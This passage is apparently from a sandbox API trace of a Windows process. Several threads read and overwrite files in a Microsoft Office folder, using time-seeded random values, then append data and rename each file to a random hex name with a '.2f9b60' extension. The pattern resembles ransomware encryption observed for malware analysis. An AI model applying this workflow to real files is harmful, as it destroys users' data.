ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0127.022] FindClose (in: hFindFile=0x1ced5680 | out: hFindFile=0x1ced5680) returned 1 [0127.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0127.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af580) returned 1 [0127.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 Thread: id = 1391 os_tid = 0x1810 [0118.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0119.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL", dwFileAttributes=0x20) returned 1 [0119.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x173c [0119.241] GetFileSizeEx (in: hFile=0x173c, lpFileSize=0x3e7df820 | out: lpFileSize=0x3e7df820*=45968) returned 1 [0119.241] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0xb38c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.241] ReadFile (in: hFile=0x173c, lpBuffer=0x3e7df7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e7df7e8, lpOverlapped=0x0 | out: lpBuffer=0x3e7df7a0*, lpNumberOfBytesRead=0x3e7df7e8*=0x4, lpOverlapped=0x0) returned 1 [0119.251] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0119.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0119.251] NtQuerySystemTime (in: CurrentTime=0x3e7df6e0 | out: CurrentTime=0x3e7df6e0*=132462177246670000) returned 0x0 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0xb825896 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x26b381c8 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x71dcf0c1 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x7ba57a6c [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x2c06c455 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x755f3be0 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x6e205e06 [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x27cb24bb [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x593f18c [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x11a786ac [0119.251] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x2cc846ca [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x1e982787 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x411e601 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x74eff212 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x7a1f0b0b [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x3f8b3b00 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x36e64512 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x25060ad3 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x432b5fba [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x298563e8 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x6c75183 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x6da8f9ad [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0xf5fe360 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x32050768 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x69d138ec [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x56b09504 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x2e32b5aa [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x14432dd9 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x1f2dc948 [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x425a2b7a [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x425a2b7a [0119.252] RtlRandomEx (in: Seed=0x3e7df6d0 | out: Seed=0x3e7df6d0) returned 0x7d6ef5e4 [0119.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0119.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0119.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0119.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0119.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0119.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201e6910 [0119.263] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.263] ReadFile (in: hFile=0x173c, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e7df740, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x3e7df740*=0x3c00, lpOverlapped=0x0) returned 1 [0119.431] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42026910 [0119.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0119.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.432] WriteFile (in: hFile=0x173c, lpBuffer=0x42026910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e7df740, lpOverlapped=0x0 | out: lpBuffer=0x42026910*, lpNumberOfBytesWritten=0x3e7df740*=0x3c00, lpOverlapped=0x0) returned 1 [0147.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42026910) returned 1 [0147.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0147.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6a80 [0147.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0147.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b10) returned 1 [0147.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6b10 [0147.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8850 [0147.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0147.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0147.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169d50 [0147.899] SetFilePointerEx (in: hFile=0x173c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.899] WriteFile (hFile=0x173c, lpBuffer=0x169d50, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e7df7f0, lpOverlapped=0x0) [0200.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053df0 [0200.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053df0) returned 1 [0200.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0200.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053df0 [0200.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053dc0 [0200.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053dc0) returned 1 [0200.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d8400 [0200.605] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="c8") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="00") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="f3") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="65") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="95") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="68") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="be") returned 2 [0200.605] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="43") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="1e") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="86") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="86") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="39") returned 2 [0200.606] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="98") returned 2 [0200.606] RtlInitAnsiString (in: DestinationString=0x3e7df868, SourceString="c8aa00f3ba8b659568c78fb9be431e86ff863998" | out: DestinationString="c8aa00f3ba8b659568c78fb9be431e86ff863998") [0200.606] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e7df838, SourceString="c8aa00f3ba8b659568c78fb9be431e86ff863998", AllocateDestinationString=1 | out: DestinationString="c8aa00f3ba8b659568c78fb9be431e86ff863998") returned 0x0 [0200.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d9d0 [0200.607] wcscat (in: _Dest=0x431da340, _Source="c8aa00f3ba" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba" [0200.607] wcscat (in: _Dest=0x431da340, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba.2f9b60" [0200.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba.2f9b60", NtPathName=0x3e7df810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\c8aa00f3ba.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431eae00 Thread: id = 1392 os_tid = 0x1814 [0118.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css")) returned 0x20 [0119.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS", dwFileAttributes=0x20) returned 1 [0119.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17e0 [0119.244] GetFileSizeEx (in: hFile=0x17e0, lpFileSize=0x3e86fac0 | out: lpFileSize=0x3e86fac0*=3450) returned 1 [0119.244] SetFilePointerEx (in: hFile=0x17e0, liDistanceToMove=0xd76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.244] ReadFile (in: hFile=0x17e0, lpBuffer=0x3e86fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e86fa88, lpOverlapped=0x0 | out: lpBuffer=0x3e86fa40*, lpNumberOfBytesRead=0x3e86fa88*=0x4, lpOverlapped=0x0) returned 1 [0119.391] SetFilePointerEx (in: hFile=0x17e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0119.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0119.392] NtQuerySystemTime (in: CurrentTime=0x3e86f980 | out: CurrentTime=0x3e86f980*=132462177248074000) returned 0x0 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x4638592c [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x6cf63098 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x3cc44f90 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x5c9093bb [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x35a6bab3 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x22f4bd6e [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x25d697fe [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x1a80a021 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x46424360 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x7714d399 [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x149ef96e [0119.392] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x4a1e718a [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0xf49ff1d [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x7671fae3 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x2ceca2c3 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x358350e6 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x37020cc0 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x46215c0f [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x2d4c6d44 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x188b177a [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x1af5dea2 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x617413fc [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x5e309a4f [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x667c905d [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x5b7e0339 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x67f84dc3 [0119.393] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x65933ce8 [0119.394] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x32238186 [0119.394] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0xf5742fa [0119.394] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x20789287 [0119.394] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0xacaae03 [0119.394] RtlRandomEx (in: Seed=0x3e86f970 | out: Seed=0x3e86f970) returned 0x7b4f489e [0119.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa980 [0119.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0119.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8c0 [0119.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0119.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8f0) returned 1 [0119.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0119.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0119.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0119.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0119.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42044990 [0119.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42013cc0 [0119.405] ReadFile (in: hFile=0x17e0, lpBuffer=0x42044990, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x3e86f970, lpOverlapped=0x0 | out: lpBuffer=0x42044990*, lpNumberOfBytesRead=0x3e86f970*=0xd7a, lpOverlapped=0x0) returned 1 [0119.405] SetFilePointerEx (in: hFile=0x17e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.406] WriteFile (in: hFile=0x17e0, lpBuffer=0x42013cc0*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x3e86f974, lpOverlapped=0x0 | out: lpBuffer=0x42013cc0*, lpNumberOfBytesWritten=0x3e86f974*=0xd7a, lpOverlapped=0x0) returned 1 [0148.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7460 [0148.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0148.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6230) returned 1 [0148.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42013cc0) returned 1 [0148.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42044990) returned 1 [0148.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0148.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0148.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202a6230 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6500 [0148.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6500) returned 1 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202a6500 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6950 [0148.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0148.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6830) returned 1 [0148.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0148.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0148.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x169c40 [0148.065] SetFilePointerEx (in: hFile=0x17e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.065] WriteFile (hFile=0x17e0, lpBuffer=0x169c40, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3e86fa90, lpOverlapped=0x0) [0206.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0206.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e440 [0206.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e440) returned 1 [0206.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x42c0eae0 [0206.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e440 [0206.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e410 [0206.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e410) returned 1 [0206.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0206.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x2050e410 [0206.849] sprintf (in: _Dest=0x2050e410, _Format="%c%c" | out: _Dest="63") returned 2 [0206.849] sprintf (in: _Dest=0x2050e412, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.849] sprintf (in: _Dest=0x2050e414, _Format="%c%c" | out: _Dest="95") returned 2 [0206.849] sprintf (in: _Dest=0x2050e416, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.849] sprintf (in: _Dest=0x2050e418, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.849] sprintf (in: _Dest=0x2050e41a, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.849] sprintf (in: _Dest=0x2050e41c, _Format="%c%c" | out: _Dest="51") returned 2 [0206.849] sprintf (in: _Dest=0x2050e41e, _Format="%c%c" | out: _Dest="3f") returned 2 [0206.849] sprintf (in: _Dest=0x2050e420, _Format="%c%c" | out: _Dest="28") returned 2 [0206.849] sprintf (in: _Dest=0x2050e422, _Format="%c%c" | out: _Dest="9c") returned 2 [0206.849] sprintf (in: _Dest=0x2050e424, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.849] sprintf (in: _Dest=0x2050e426, _Format="%c%c" | out: _Dest="82") returned 2 [0206.849] RtlInitAnsiString (in: DestinationString=0x3e86fb08, SourceString="630a95f65aae513f289cd282" | out: DestinationString="630a95f65aae513f289cd282") [0206.849] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e86fad8, SourceString="630a95f65aae513f289cd282", AllocateDestinationString=1 | out: DestinationString="630a95f65aae513f289cd282") returned 0x0 [0206.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fc70 [0206.850] wcscat (in: _Dest=0x43155890, _Source="630a95" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\630a95") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\630a95" [0206.850] wcscat (in: _Dest=0x43155890, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft 